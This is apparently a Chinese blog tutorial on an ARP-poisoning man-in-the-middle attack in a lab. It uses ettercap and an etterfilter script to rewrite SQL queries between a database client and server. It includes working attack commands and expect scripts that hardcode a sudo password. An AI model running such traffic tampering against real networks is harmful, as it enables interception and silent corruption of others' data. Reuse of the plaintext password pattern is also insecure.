利用ettercap进行简单的基于数据库的ARP毒化攻击

情景:

两台主机A(IP:192.168.44.132)和B(IP:192.168.44.134)

分别作为数据库服务器和客户端。

另一主机C作为中间人进行ARP攻击。主机C上已安装ettercap并启用ip转发。

攻击内容:

在客户端和服务器建立连接后,截获客户端发给服务器的SQL语句,并修改其中字段,重新转发给服务端。然后看服务端是否能返回被修改过后的语句执行结果。

过滤文件:

过滤文件changeStr.txt内容,就是简单的将"TEST2"字段替换为"TEST1"。

if (ip.proto==TCP) 
{
    replace("TEST2","TEST1");
}

编译过滤文件:

过滤文件需要先进行编译。编译语法实例:sudo etterfilter changeStr.txt -o changeStr.filter

这里我写了一个脚本来执行。

用于编译的脚本compile.sh的内容:

(注意:执行这个脚本需要先安装expect

安装过程我在这篇博文里面有记录:https://blog.csdn.net/shimadear/article/details/93972559

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo etterfilter changeStr.txt -o changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

 这里面"123456"表示root用户密码,按情况改写。

运行:

运行过程包括ettercap的启动,过滤文件的加载,运行后被攻击的两台主机发送的数据包就都按过滤文件的内容进行替换。

运行语句实例:sudo ettercap -T -q -M arp:remote /192.168.56.102// /192.168.56.105// -F changeStr.filter

同样也写了脚本来执行。run.sh内容:

#!/usr/local/bin/expect -f
#set timeout 20 #设置超时时间
spawn sudo ettercap -T -q -M arp:remote /192.168.44.134// /192.168.44.132// -F changeStr.filter
expect {
"*密码" {send "123456\r"}
"*password" {send "123456\r"}
}
interact

查看结果:

在连接到的数据库实例中有表TEST1和表TEST2,TEST1记录条数为1条,TEST2记录条数为2条。

在客户端与服务器建立连接之后,中间人进行攻击之前,客户端提交SQL语句"SELECT COUNT(*) FROM TEST2;" ,正常返回结果为2。而在中间人攻击之后,再次执行语句"SELECT COUNT(*) FROM TEST2;",可以看到返回结果为1,而这正是表TEST1的记录条数。说明攻击成功。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值